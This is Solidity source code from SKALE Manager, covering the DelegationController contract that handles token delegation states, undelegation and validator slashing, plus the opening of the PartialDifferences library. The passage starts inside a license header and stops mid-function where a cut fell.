(C) 2018-Present SKALE Labs @author Dmytro Stebaiev @author Vadim Yavorsky SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC777/IERC777.sol"; import "../BountyV2.sol"; import "../Nodes.sol"; import "../Permissions.sol"; import "../utils/FractionUtils.sol"; import "../utils/MathUtils.sol"; import "./DelegationPeriodManager.sol"; import "./PartialDifferences.sol"; import "./Punisher.sol"; import "./TokenState.sol"; import "./ValidatorService.sol"; /** * @title Delegation Controller * @dev This contract performs all delegation functions including delegation * requests, and undelegation, etc. * * Delegators and validators may both perform delegations. Validators who perform * delegations to themselves are effectively self-delegating or self-bonding. * * IMPORTANT: Undelegation may be requested at any time, but undelegation is only * performed at the completion of the current delegation period. * * Delegated tokens may be in one of several states: * * - PROPOSED: token holder proposes tokens to delegate to a validator. * - ACCEPTED: token delegations are accepted by a validator and are locked-by-delegation. * - CANCELED: token holder cancels delegation proposal. Only allowed before the proposal is accepted by the validator. * - REJECTED: token proposal expires at the UTC start of the next month. * - DELEGATED: accepted delegations are delegated at the UTC start of the month. * - UNDELEGATION_REQUESTED: token holder requests delegations to undelegate from the validator. * - COMPLETED: undelegation request is completed at the end of the delegation period. */ contract DelegationController is Permissions, ILocker { using MathUtils for uint; using PartialDifferences for PartialDifferences.Sequence; using PartialDifferences for PartialDifferences.Value; using FractionUtils for FractionUtils.Fraction; uint public constant UNDELEGATION_PROHIBITION_WINDOW_SECONDS = 3 * 24 * 60 * 60; enum State { PROPOSED, ACCEPTED, CANCELED, REJECTED, DELEGATED, UNDELEGATION_REQUESTED, COMPLETED } struct Delegation { address holder; // address of token owner uint validatorId; uint amount; uint delegationPeriod; uint created; // time of delegation creation uint started; // month when a delegation becomes active uint finished; // first month after a delegation ends string info; } struct SlashingLogEvent { FractionUtils.Fraction reducingCoefficient; uint nextMonth; } struct SlashingLog { // month => slashing event mapping (uint => SlashingLogEvent) slashes; uint firstMonth; uint lastMonth; } struct DelegationExtras { uint lastSlashingMonthBeforeDelegation; } struct SlashingEvent { FractionUtils.Fraction reducingCoefficient; uint validatorId; uint month; } struct SlashingSignal { address holder; uint penalty; } struct LockedInPending { uint amount; uint month; } struct FirstDelegationMonth { // month uint value; //validatorId => month mapping (uint => uint) byValidator; } struct ValidatorsStatistics { // number of validators uint number; //validatorId => bool - is Delegated or not mapping (uint => uint) delegated; } /** * @dev Emitted when a delegation is proposed to a validator. */ event DelegationProposed( uint delegationId ); /** * @dev Emitted when a delegation is accepted by a validator. */ event DelegationAccepted( uint delegationId ); /** * @dev Emitted when a delegation is cancelled by the delegator. */ event DelegationRequestCanceledByUser( uint delegationId ); /** * @dev Emitted when a delegation is requested to undelegate. */ event UndelegationRequested( uint delegationId ); /// @dev delegations will never be deleted to index in this array may be used like delegation id Delegation[] public delegations; // validatorId => delegationId[] mapping (uint => uint[]) public delegationsByValidator; // holder => delegationId[] mapping (address => uint[]) public delegationsByHolder; // delegationId => extras mapping(uint => DelegationExtras) private _delegationExtras; // validatorId => sequence mapping (uint => PartialDifferences.Value) private _delegatedToValidator; // validatorId => sequence mapping (uint => PartialDifferences.Sequence) private _effectiveDelegatedToValidator; // validatorId => slashing log mapping (uint => SlashingLog) private _slashesOfValidator; // holder => sequence mapping (address => PartialDifferences.Value) private _delegatedByHolder; // holder => validatorId => sequence mapping (address => mapping (uint => PartialDifferences.Value)) private _delegatedByHolderToValidator; // holder => validatorId => sequence mapping (address => mapping (uint => PartialDifferences.Sequence)) private _effectiveDelegatedByHolderToValidator; SlashingEvent[] private _slashes; // holder => index in _slashes; mapping (address => uint) private _firstUnprocessedSlashByHolder; // holder => validatorId => month mapping (address => FirstDelegationMonth) private _firstDelegationMonth; // holder => locked in pending mapping (address => LockedInPending) private _lockedInPendingDelegations; mapping (address => ValidatorsStatistics) private _numberOfValidatorsPerDelegator; /** * @dev Modifier to make a function callable only if delegation exists. */ modifier checkDelegationExists(uint delegationId) { require(delegationId < delegations.length, "Delegation does not exist"); _; } /** * @dev Update and return a validator's delegations. */ function getAndUpdateDelegatedToValidatorNow(uint validatorId) external returns (uint) { return _getAndUpdateDelegatedToValidator(validatorId, _getCurrentMonth()); } /** * @dev Update and return the amount delegated. */ function getAndUpdateDelegatedAmount(address holder) external returns (uint) { return _getAndUpdateDelegatedByHolder(holder); } /** * @dev Update and return the effective amount delegated (minus slash) for * the given month. */ function getAndUpdateEffectiveDelegatedByHolderToValidator(address holder, uint validatorId, uint month) external allow("Distributor") returns (uint effectiveDelegated) { SlashingSignal[] memory slashingSignals = _processAllSlashesWithoutSignals(holder); effectiveDelegated = _effectiveDelegatedByHolderToValidator[holder][validatorId] .getAndUpdateValueInSequence(month); _sendSlashingSignals(slashingSignals); } /** * @dev Allows a token holder to create a delegation proposal of an `amount` * and `delegationPeriod` to a `validatorId`. Delegation must be accepted * by the validator before the UTC start of the month, otherwise the * delegation will be rejected. * * The token holder may add additional information in each proposal. * * Emits a {DelegationProposed} event. * * Requirements: * * - Holder must have sufficient delegatable tokens. * - Delegation must be above the validator's minimum delegation amount. * - Delegation period must be allowed. * - Validator must be authorized if trusted list is enabled. * - Validator must be accepting new delegation requests. */ function delegate( uint validatorId, uint amount, uint delegationPeriod, string calldata info ) external { require( _getDelegationPeriodManager().isDelegationPeriodAllowed(delegationPeriod), "This delegation period is not allowed"); _getValidatorService().checkValidatorCanReceiveDelegation(validatorId, amount); _checkIfDelegationIsAllowed(msg.sender, validatorId); SlashingSignal[] memory slashingSignals = _processAllSlashesWithoutSignals(msg.sender); uint delegationId = _addDelegation( msg.sender, validatorId, amount, delegationPeriod, info); // check that there is enough money uint holderBalance = IERC777(contractManager.getSkaleToken()).balanceOf(msg.sender); uint forbiddenForDelegation = TokenState(contractManager.getTokenState()) .getAndUpdateForbiddenForDelegationAmount(msg.sender); require(holderBalance >= forbiddenForDelegation, "Token holder does not have enough tokens to delegate"); emit DelegationProposed(delegationId); _sendSlashingSignals(slashingSignals); } /** * @dev See {ILocker-getAndUpdateLockedAmount}. */ function getAndUpdateLockedAmount(address wallet) external override returns (uint) { return _getAndUpdateLockedAmount(wallet); } /** * @dev See {ILocker-getAndUpdateForbiddenForDelegationAmount}. */ function getAndUpdateForbiddenForDelegationAmount(address wallet) external override returns (uint) { return _getAndUpdateLockedAmount(wallet); } /** * @dev Allows token holder to cancel a delegation proposal. * * Emits a {DelegationRequestCanceledByUser} event. * * Requirements: * * - `msg.sender` must be the token holder of the delegation proposal. * - Delegation state must be PROPOSED. */ function cancelPendingDelegation(uint delegationId) external checkDelegationExists(delegationId) { require(msg.sender == delegations[delegationId].holder, "Only token holders can cancel delegation request"); require(getState(delegationId) == State.PROPOSED, "Token holders are only able to cancel PROPOSED delegations"); delegations[delegationId].finished = _getCurrentMonth(); _subtractFromLockedInPendingDelegations(delegations[delegationId].holder, delegations[delegationId].amount); emit DelegationRequestCanceledByUser(delegationId); } /** * @dev Allows a validator to accept a proposed delegation. * Successful acceptance of delegations transition the tokens from a * PROPOSED state to ACCEPTED, and tokens are locked for the remainder of the * delegation period. * * Emits a {DelegationAccepted} event. * * Requirements: * * - Validator must be recipient of proposal. * - Delegation state must be PROPOSED. */ function acceptPendingDelegation(uint delegationId) external checkDelegationExists(delegationId) { require( _getValidatorService().checkValidatorAddressToId(msg.sender, delegations[delegationId].validatorId), "No permissions to accept request"); _accept(delegationId); } /** * @dev Allows delegator to undelegate a specific delegation. * * Emits UndelegationRequested event. * * Requirements: * * - `msg.sender` must be the delegator. * - Delegation state must be DELEGATED. */ function requestUndelegation(uint delegationId) external checkDelegationExists(delegationId) { require(getState(delegationId) == State.DELEGATED, "Cannot request undelegation"); ValidatorService validatorService = _getValidatorService(); require( delegations[delegationId].holder == msg.sender || (validatorService.validatorAddressExists(msg.sender) && delegations[delegationId].validatorId == validatorService.getValidatorId(msg.sender)), "Permission denied to request undelegation"); _removeValidatorFromValidatorsPerDelegators( delegations[delegationId].holder, delegations[delegationId].validatorId); processAllSlashes(msg.sender); delegations[delegationId].finished = _calculateDelegationEndMonth(delegationId); require( now.add(UNDELEGATION_PROHIBITION_WINDOW_SECONDS) < _getTimeHelpers().monthToTimestamp(delegations[delegationId].finished), "Undelegation requests must be sent 3 days before the end of delegation period" ); _subtractFromAllStatistics(delegationId); emit UndelegationRequested(delegationId); } /** * @dev Allows Punisher contract to slash an `amount` of stake from * a validator. This slashes an amount of delegations of the validator, * which reduces the amount that the validator has staked. This consequence * may force the SKALE Manager to reduce the number of nodes a validator is * operating so the validator can meet the Minimum Staking Requirement. * * Emits a {SlashingEvent}. * * See {Punisher}. */ function confiscate(uint validatorId, uint amount) external allow("Punisher") { uint currentMonth = _getCurrentMonth(); FractionUtils.Fraction memory coefficient = _delegatedToValidator[validatorId].reduceValue(amount, currentMonth); uint initialEffectiveDelegated = _effectiveDelegatedToValidator[validatorId].getAndUpdateValueInSequence(currentMonth); uint[] memory initialSubtractions = new uint[](0); if (currentMonth < _effectiveDelegatedToValidator[validatorId].lastChangedMonth) { initialSubtractions = new uint[]( _effectiveDelegatedToValidator[validatorId].lastChangedMonth.sub(currentMonth) ); for (uint i = 0; i < initialSubtractions.length; ++i) { initialSubtractions[i] = _effectiveDelegatedToValidator[validatorId] .subtractDiff[currentMonth.add(i).add(1)]; } } _effectiveDelegatedToValidator[validatorId].reduceSequence(coefficient, currentMonth); _putToSlashingLog(_slashesOfValidator[validatorId], coefficient, currentMonth); _slashes.push(SlashingEvent({reducingCoefficient: coefficient, validatorId: validatorId, month: currentMonth})); BountyV2 bounty = _getBounty(); bounty.handleDelegationRemoving( initialEffectiveDelegated.sub( _effectiveDelegatedToValidator[validatorId].getAndUpdateValueInSequence(currentMonth) ), currentMonth ); for (uint i = 0; i < initialSubtractions.length; ++i) { bounty.handleDelegationAdd( initialSubtractions[i].sub( _effectiveDelegatedToValidator[validatorId].subtractDiff[currentMonth.add(i).add(1)] ), currentMonth.add(i).add(1) ); } } /** * @dev Allows Distributor contract to return and update the effective * amount delegated (minus slash) to a validator for a given month. */ function getAndUpdateEffectiveDelegatedToValidator(uint validatorId, uint month) external allowTwo("Bounty", "Distributor") returns (uint) { return _effectiveDelegatedToValidator[validatorId].getAndUpdateValueInSequence(month); } /** * @dev Return and update the amount delegated to a validator for the * current month. */ function getAndUpdateDelegatedByHolderToValidatorNow(address holder, uint validatorId) external returns (uint) { return _getAndUpdateDelegatedByHolderToValidator(holder, validatorId, _getCurrentMonth()); } function getEffectiveDelegatedValuesByValidator(uint validatorId) external view returns (uint[] memory) { return _effectiveDelegatedToValidator[validatorId].getValuesInSequence(); } function getEffectiveDelegatedToValidator(uint validatorId, uint month) external view returns (uint) { return _effectiveDelegatedToValidator[validatorId].getValueInSequence(month); } function getDelegatedToValidator(uint validatorId, uint month) external view returns (uint) { return _delegatedToValidator[validatorId].getValue(month); } /** * @dev Return Delegation struct. */ function getDelegation(uint delegationId) external view checkDelegationExists(delegationId) returns (Delegation memory) { return delegations[delegationId]; } /** * @dev Returns the first delegation month. */ function getFirstDelegationMonth(address holder, uint validatorId) external view returns(uint) { return _firstDelegationMonth[holder].byValidator[validatorId]; } /** * @dev Returns a validator's total number of delegations. */ function getDelegationsByValidatorLength(uint validatorId) external view returns (uint) { return delegationsByValidator[validatorId].length; } /** * @dev Returns a holder's total number of delegations. */ function getDelegationsByHolderLength(address holder) external view returns (uint) { return delegationsByHolder[holder].length; } function initialize(address contractsAddress) public override initializer { Permissions.initialize(contractsAddress); } /** * @dev Process slashes up to the given limit. */ function processSlashes(address holder, uint limit) public { _sendSlashingSignals(_processSlashesWithoutSignals(holder, limit)); } /** * @dev Process all slashes. */ function processAllSlashes(address holder) public { processSlashes(holder, 0); } /** * @dev Returns the token state of a given delegation. */ function getState(uint delegationId) public view checkDelegationExists(delegationId) returns (State state) { if (delegations[delegationId].started == 0) { if (delegations[delegationId].finished == 0) { if (_getCurrentMonth() == _getTimeHelpers().timestampToMonth(delegations[delegationId].created)) { return State.PROPOSED; } else { return State.REJECTED; } } else { return State.CANCELED; } } else { if (_getCurrentMonth() < delegations[delegationId].started) { return State.ACCEPTED; } else { if (delegations[delegationId].finished == 0) { return State.DELEGATED; } else { if (_getCurrentMonth() < delegations[delegationId].finished) { return State.UNDELEGATION_REQUESTED; } else { return State.COMPLETED; } } } } } /** * @dev Returns the amount of tokens in PENDING delegation state. */ function getLockedInPendingDelegations(address holder) public view returns (uint) { uint currentMonth = _getCurrentMonth(); if (_lockedInPendingDelegations[holder].month < currentMonth) { return 0; } else { return _lockedInPendingDelegations[holder].amount; } } /** * @dev Checks whether there are any unprocessed slashes. */ function hasUnprocessedSlashes(address holder) public view returns (bool) { return _everDelegated(holder) && _firstUnprocessedSlashByHolder[holder] < _slashes.length; } // private /** * @dev Allows Nodes contract to get and update the amount delegated * to validator for a given month. */ function _getAndUpdateDelegatedToValidator(uint validatorId, uint month) private returns (uint) { return _delegatedToValidator[validatorId].getAndUpdateValue(month); } /** * @dev Adds a new delegation proposal. */ function _addDelegation( address holder, uint validatorId, uint amount, uint delegationPeriod, string memory info ) private returns (uint delegationId) { delegationId = delegations.length; delegations.push(Delegation( holder, validatorId, amount, delegationPeriod, now, 0, 0, info )); delegationsByValidator[validatorId].push(delegationId); delegationsByHolder[holder].push(delegationId); _addToLockedInPendingDelegations(delegations[delegationId].holder, delegations[delegationId].amount); } /** * @dev Returns the month when a delegation ends. */ function _calculateDelegationEndMonth(uint delegationId) private view returns (uint) { uint currentMonth = _getCurrentMonth(); uint started = delegations[delegationId].started; if (currentMonth < started) { return started.add(delegations[delegationId].delegationPeriod); } else { uint completedPeriods = currentMonth.sub(started).div(delegations[delegationId].delegationPeriod); return started.add(completedPeriods.add(1).mul(delegations[delegationId].delegationPeriod)); } } function _addToDelegatedToValidator(uint validatorId, uint amount, uint month) private { _delegatedToValidator[validatorId].addToValue(amount, month); } function _addToEffectiveDelegatedToValidator(uint validatorId, uint effectiveAmount, uint month) private { _effectiveDelegatedToValidator[validatorId].addToSequence(effectiveAmount, month); } function _addToDelegatedByHolder(address holder, uint amount, uint month) private { _delegatedByHolder[holder].addToValue(amount, month); } function _addToDelegatedByHolderToValidator( address holder, uint validatorId, uint amount, uint month) private { _delegatedByHolderToValidator[holder][validatorId].addToValue(amount, month); } function _addValidatorToValidatorsPerDelegators(address holder, uint validatorId) private { if (_numberOfValidatorsPerDelegator[holder].delegated[validatorId] == 0) { _numberOfValidatorsPerDelegator[holder].number = _numberOfValidatorsPerDelegator[holder].number.add(1); } _numberOfValidatorsPerDelegator[holder]. delegated[validatorId] = _numberOfValidatorsPerDelegator[holder].delegated[validatorId].add(1); } function _removeFromDelegatedByHolder(address holder, uint amount, uint month) private { _delegatedByHolder[holder].subtractFromValue(amount, month); } function _removeFromDelegatedByHolderToValidator( address holder, uint validatorId, uint amount, uint month) private { _delegatedByHolderToValidator[holder][validatorId].subtractFromValue(amount, month); } function _removeValidatorFromValidatorsPerDelegators(address holder, uint validatorId) private { if (_numberOfValidatorsPerDelegator[holder].delegated[validatorId] == 1) { _numberOfValidatorsPerDelegator[holder].number = _numberOfValidatorsPerDelegator[holder].number.sub(1); } _numberOfValidatorsPerDelegator[holder]. delegated[validatorId] = _numberOfValidatorsPerDelegator[holder].delegated[validatorId].sub(1); } function _addToEffectiveDelegatedByHolderToValidator( address holder, uint validatorId, uint effectiveAmount, uint month) private { _effectiveDelegatedByHolderToValidator[holder][validatorId].addToSequence(effectiveAmount, month); } function _removeFromEffectiveDelegatedByHolderToValidator( address holder, uint validatorId, uint effectiveAmount, uint month) private { _effectiveDelegatedByHolderToValidator[holder][validatorId].subtractFromSequence(effectiveAmount, month); } function _getAndUpdateDelegatedByHolder(address holder) private returns (uint) { uint currentMonth = _getCurrentMonth(); processAllSlashes(holder); return _delegatedByHolder[holder].getAndUpdateValue(currentMonth); } function _getAndUpdateDelegatedByHolderToValidator( address holder, uint validatorId, uint month) private returns (uint) { return _delegatedByHolderToValidator[holder][validatorId].getAndUpdateValue(month); } function _addToLockedInPendingDelegations(address holder, uint amount) private returns (uint) { uint currentMonth = _getCurrentMonth(); if (_lockedInPendingDelegations[holder].month < currentMonth) { _lockedInPendingDelegations[holder].amount = amount; _lockedInPendingDelegations[holder].month = currentMonth; } else { assert(_lockedInPendingDelegations[holder].month == currentMonth); _lockedInPendingDelegations[holder].amount = _lockedInPendingDelegations[holder].amount.add(amount); } } function _subtractFromLockedInPendingDelegations(address holder, uint amount) private returns (uint) { uint currentMonth = _getCurrentMonth(); assert(_lockedInPendingDelegations[holder].month == currentMonth); _lockedInPendingDelegations[holder].amount = _lockedInPendingDelegations[holder].amount.sub(amount); } function _getCurrentMonth() private view returns (uint) { return _getTimeHelpers().getCurrentMonth(); } /** * @dev See {ILocker-getAndUpdateLockedAmount}. */ function _getAndUpdateLockedAmount(address wallet) private returns (uint) { return _getAndUpdateDelegatedByHolder(wallet).add(getLockedInPendingDelegations(wallet)); } function _updateFirstDelegationMonth(address holder, uint validatorId, uint month) private { if (_firstDelegationMonth[holder].value == 0) { _firstDelegationMonth[holder].value = month; _firstUnprocessedSlashByHolder[holder] = _slashes.length; } if (_firstDelegationMonth[holder].byValidator[validatorId] == 0) { _firstDelegationMonth[holder].byValidator[validatorId] = month; } } /** * @dev Checks whether the holder has performed a delegation. */ function _everDelegated(address holder) private view returns (bool) { return _firstDelegationMonth[holder].value > 0; } function _removeFromDelegatedToValidator(uint validatorId, uint amount, uint month) private { _delegatedToValidator[validatorId].subtractFromValue(amount, month); } function _removeFromEffectiveDelegatedToValidator(uint validatorId, uint effectiveAmount, uint month) private { _effectiveDelegatedToValidator[validatorId].subtractFromSequence(effectiveAmount, month); } /** * @dev Returns the delegated amount after a slashing event. */ function _calculateDelegationAmountAfterSlashing(uint delegationId) private view returns (uint) { uint startMonth = _delegationExtras[delegationId].lastSlashingMonthBeforeDelegation; uint validatorId = delegations[delegationId].validatorId; uint amount = delegations[delegationId].amount; if (startMonth == 0) { startMonth = _slashesOfValidator[validatorId].firstMonth; if (startMonth == 0) { return amount; } } for (uint i = startMonth; i > 0 && i < delegations[delegationId].finished; i = _slashesOfValidator[validatorId].slashes[i].nextMonth) { if (i >= delegations[delegationId].started) { amount = amount .mul(_slashesOfValidator[validatorId].slashes[i].reducingCoefficient.numerator) .div(_slashesOfValidator[validatorId].slashes[i].reducingCoefficient.denominator); } } return amount; } function _putToSlashingLog( SlashingLog storage log, FractionUtils.Fraction memory coefficient, uint month) private { if (log.firstMonth == 0) { log.firstMonth = month; log.lastMonth = month; log.slashes[month].reducingCoefficient = coefficient; log.slashes[month].nextMonth = 0; } else { require(log.lastMonth <= month, "Cannot put slashing event in the past"); if (log.lastMonth == month) { log.slashes[month].reducingCoefficient = log.slashes[month].reducingCoefficient.multiplyFraction(coefficient); } else { log.slashes[month].reducingCoefficient = coefficient; log.slashes[month].nextMonth = 0; log.slashes[log.lastMonth].nextMonth = month; log.lastMonth = month; } } } function _processSlashesWithoutSignals(address holder, uint limit) private returns (SlashingSignal[] memory slashingSignals) { if (hasUnprocessedSlashes(holder)) { uint index = _firstUnprocessedSlashByHolder[holder]; uint end = _slashes.length; if (limit > 0 && index.add(limit) < end) { end = index.add(limit); } slashingSignals = new SlashingSignal[](end.sub(index)); uint begin = index; for (; index < end; ++index) { uint validatorId = _slashes[index].validatorId; uint month = _slashes[index].month; uint oldValue = _getAndUpdateDelegatedByHolderToValidator(holder, validatorId, month); if (oldValue.muchGreater(0)) { _delegatedByHolderToValidator[holder][validatorId].reduceValueByCoefficientAndUpdateSum( _delegatedByHolder[holder], _slashes[index].reducingCoefficient, month); _effectiveDelegatedByHolderToValidator[holder][validatorId].reduceSequence( _slashes[index].reducingCoefficient, month); slashingSignals[index.sub(begin)].holder = holder; slashingSignals[index.sub(begin)].penalty = oldValue.boundedSub(_getAndUpdateDelegatedByHolderToValidator(holder, validatorId, month)); } } _firstUnprocessedSlashByHolder[holder] = end; } } function _processAllSlashesWithoutSignals(address holder) private returns (SlashingSignal[] memory slashingSignals) { return _processSlashesWithoutSignals(holder, 0); } function _sendSlashingSignals(SlashingSignal[] memory slashingSignals) private { Punisher punisher = Punisher(contractManager.getPunisher()); address previousHolder = address(0); uint accumulatedPenalty = 0; for (uint i = 0; i < slashingSignals.length; ++i) { if (slashingSignals[i].holder != previousHolder) { if (accumulatedPenalty > 0) { punisher.handleSlash(previousHolder, accumulatedPenalty); } previousHolder = slashingSignals[i].holder; accumulatedPenalty = slashingSignals[i].penalty; } else { accumulatedPenalty = accumulatedPenalty.add(slashingSignals[i].penalty); } } if (accumulatedPenalty > 0) { punisher.handleSlash(previousHolder, accumulatedPenalty); } } function _addToAllStatistics(uint delegationId) private { uint currentMonth = _getCurrentMonth(); delegations[delegationId].started = currentMonth.add(1); if (_slashesOfValidator[delegations[delegationId].validatorId].lastMonth > 0) { _delegationExtras[delegationId].lastSlashingMonthBeforeDelegation = _slashesOfValidator[delegations[delegationId].validatorId].lastMonth; } _addToDelegatedToValidator( delegations[delegationId].validatorId, delegations[delegationId].amount, currentMonth.add(1)); _addToDelegatedByHolder( delegations[delegationId].holder, delegations[delegationId].amount, currentMonth.add(1)); _addToDelegatedByHolderToValidator( delegations[delegationId].holder, delegations[delegationId].validatorId, delegations[delegationId].amount, currentMonth.add(1)); _updateFirstDelegationMonth( delegations[delegationId].holder, delegations[delegationId].validatorId, currentMonth.add(1)); uint effectiveAmount = delegations[delegationId].amount.mul( _getDelegationPeriodManager().stakeMultipliers(delegations[delegationId].delegationPeriod)); _addToEffectiveDelegatedToValidator( delegations[delegationId].validatorId, effectiveAmount, currentMonth.add(1)); _addToEffectiveDelegatedByHolderToValidator( delegations[delegationId].holder, delegations[delegationId].validatorId, effectiveAmount, currentMonth.add(1)); _addValidatorToValidatorsPerDelegators( delegations[delegationId].holder, delegations[delegationId].validatorId ); } function _subtractFromAllStatistics(uint delegationId) private { uint amountAfterSlashing = _calculateDelegationAmountAfterSlashing(delegationId); _removeFromDelegatedToValidator( delegations[delegationId].validatorId, amountAfterSlashing, delegations[delegationId].finished); _removeFromDelegatedByHolder( delegations[delegationId].holder, amountAfterSlashing, delegations[delegationId].finished); _removeFromDelegatedByHolderToValidator( delegations[delegationId].holder, delegations[delegationId].validatorId, amountAfterSlashing, delegations[delegationId].finished); uint effectiveAmount = amountAfterSlashing.mul( _getDelegationPeriodManager().stakeMultipliers(delegations[delegationId].delegationPeriod)); _removeFromEffectiveDelegatedToValidator( delegations[delegationId].validatorId, effectiveAmount, delegations[delegationId].finished); _removeFromEffectiveDelegatedByHolderToValidator( delegations[delegationId].holder, delegations[delegationId].validatorId, effectiveAmount, delegations[delegationId].finished); _getBounty().handleDelegationRemoving( effectiveAmount, delegations[delegationId].finished); } /** * @dev Checks whether delegation to a validator is allowed. * * Requirements: * * - Delegator must not have reached the validator limit. * - Delegation must be made in or after the first delegation month. */ function _checkIfDelegationIsAllowed(address holder, uint validatorId) private view returns (bool) { require( _numberOfValidatorsPerDelegator[holder].delegated[validatorId] > 0 || ( _numberOfValidatorsPerDelegator[holder].delegated[validatorId] == 0 && _numberOfValidatorsPerDelegator[holder].number < _getConstantsHolder().limitValidatorsPerDelegator() ), "Limit of validators is reached" ); } function _getDelegationPeriodManager() private view returns (DelegationPeriodManager) { return DelegationPeriodManager(contractManager.getDelegationPeriodManager()); } function _getBounty() private view returns (BountyV2) { return BountyV2(contractManager.getBounty()); } function _getValidatorService() private view returns (ValidatorService) { return ValidatorService(contractManager.getValidatorService()); } function _getTimeHelpers() private view returns (TimeHelpers) { return TimeHelpers(contractManager.getTimeHelpers()); } function _getConstantsHolder() private view returns (ConstantsHolder) { return ConstantsHolder(contractManager.getConstantsHolder()); } function _accept(uint delegationId) private { _checkIfDelegationIsAllowed(delegations[delegationId].holder, delegations[delegationId].validatorId); State currentState = getState(delegationId); if (currentState != State.PROPOSED) { if (currentState == State.ACCEPTED || currentState == State.DELEGATED || currentState == State.UNDELEGATION_REQUESTED || currentState == State.COMPLETED) { revert("The delegation has been already accepted"); } else if (currentState == State.CANCELED) { revert("The delegation has been cancelled by token holder"); } else if (currentState == State.REJECTED) { revert("The delegation request is outdated"); } } require(currentState == State.PROPOSED, "Cannot set delegation state to accepted"); SlashingSignal[] memory slashingSignals = _processAllSlashesWithoutSignals(delegations[delegationId].holder); _addToAllStatistics(delegationId); uint amount = delegations[delegationId].amount; uint effectiveAmount = amount.mul( _getDelegationPeriodManager().stakeMultipliers(delegations[delegationId].delegationPeriod) ); _getBounty().handleDelegationAdd( effectiveAmount, delegations[delegationId].started ); _sendSlashingSignals(slashingSignals); emit DelegationAccepted(delegationId); } } // SPDX-License-Identifier: AGPL-3.0-only /* PartialDifferences.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "../utils/MathUtils.sol"; import "../utils/FractionUtils.sol"; /** * @title Partial Differences Library * @dev This library contains functions to manage Partial Differences data * structure. Partial Differences is an array of value differences over time. * * For example: assuming an array [3, 6, 3, 1, 2], partial differences can * represent this array as [_, 3, -3, -2, 1]. * * This data structure allows adding values on an open interval with O(1) * complexity. * * For example: add +5 to [3, 6, 3, 1, 2] starting from the second element (3), * instead of performing [3, 6, 3+5, 1+5, 2+5] partial differences allows * performing [_, 3, -3+5, -2, 1]. The original array can be restored by * adding values from partial differences. */ library PartialDifferences { using SafeMath for uint; using MathUtils for uint; struct Sequence { // month => diff mapping (uint => uint) addDiff; // month => diff mapping (uint => uint) subtractDiff; // month => value mapping (uint => uint) value; uint firstUnprocessedMonth; uint lastChangedMonth; } struct Value { // month => diff mapping (uint => uint) addDiff; // month => diff mapping (uint => uint) subtractDiff; uint value; uint firstUnprocessedMonth; uint lastChangedMonth; } // functions for sequence function addToSequence(Sequence storage sequence, uint diff, uint month) internal { require(sequence.firstUnprocessedMonth <= month, "Cannot add to the past"); if (sequence.firstUnprocessedMonth == 0) { sequence.firstUnprocessedMonth = month; } sequence.addDiff[month] = sequence.addDiff[month].add(diff); if (sequence.lastChangedMonth != month) { sequence.lastChangedMonth = month; } } function subtractFromSequence(Sequence storage sequence, uint diff, uint month) internal { require(sequence.firstUnprocessedMonth <= month, "Cannot subtract from the past"); if (sequence.firstUnprocessedMonth == 0) { sequence.firstUnprocessedMonth = month; } sequence.subtractDiff[month] = sequence.subtractDiff[month].add(diff); if (sequence.lastChangedMonth != month) { sequence.lastChangedMonth = month; } } function getAndUpdateValueInSequence(Sequence storage sequence, uint month) internal returns (uint) { if (sequence.firstUnprocessedMonth == 0) { return 0; } if (sequence.firstUnprocessedMonth <= month) { for (uint i = sequence.firstUnprocessedMonth; i <= month; ++i) { uint nextValue = sequence.value[i.sub(1)].add(sequence.addDiff[i]).boundedSub(sequence.subtractDiff[i]); if (sequence.value[i] != nextValue) { sequence.value[i] = nextValue; } if (sequence.addDiff[i] > 0) { delete sequence.addDiff[i]; } if (sequence.subtractDiff[i] > 0) { delete sequence.subtractDiff[i]; } } sequence.firstUnprocessedMonth = month.add(1); } return sequence.value[month]; } function getValueInSequence(Sequence storage sequence, uint month) internal view returns (uint) { if (sequence.firstUnprocessedMonth == 0) { return 0; } if (sequence.firstUnprocessedMonth <= month) { uint value = sequence.value[sequence.firstUnprocessedMonth.sub(1)]; for (uint i = sequence.firstUnprocessedMonth; i <= month; ++i) { value = value.add(sequence.addDiff[i]).sub(sequence.subtractDiff[i]); } return value; } else { return sequence.value[month]; } } function getValuesInSequence(Sequence storage sequence) internal view returns (uint[] memory values) { if (sequence.firstUnprocessedMonth == 0) { return values; } uint begin = sequence.firstUnprocessedMonth.sub(1); uint end = sequence.lastChangedMonth.add(1); if (end <= begin) { end = begin.add(1); } values = new uint[](end.sub(begin)); values[0] = sequence.value[sequence.firstUnprocessedMonth.sub(1)]; for (uint i = 0; i.add(1) < values.length; ++i) { uint month = sequence.firstUnprocessedMonth.add(i); values[i.add(1)] = values[i].add(sequence.addDiff[month]).sub(sequence.subtractDiff[month]); } } function reduceSequence( Sequence storage sequence, FractionUtils.Fraction memory reducingCoefficient, uint month) internal { require(month.add(1) >= sequence.firstUnprocessedMonth, "Cannot reduce value in the past"); require( reducingCoefficient.numerator <= reducingCoefficient.denominator, "Increasing of values is not implemented"); if (sequence.firstUnprocessedMonth == 0) { return; } uint value = getAndUpdateValueInSequence(sequence, month); if (value.approximatelyEqual(0)) { return; } sequence.value[month] = sequence.value[month] .mul(reducingCoefficient.numerator) .div(reducingCoefficient.denominator); for (uint i = month.add(1); i <= sequence.lastChangedMonth; ++i) { sequence.subtractDiff[i] = sequence.subtractDiff[i] .mul(reducingCoefficient.numerator) .div(reducingCoefficient.denominator); } } // functions for value function addToValue(Value storage sequence, uint diff, uint month) internal { require(sequence.firstUnprocessedMonth <= month, "Cannot add to the past"); 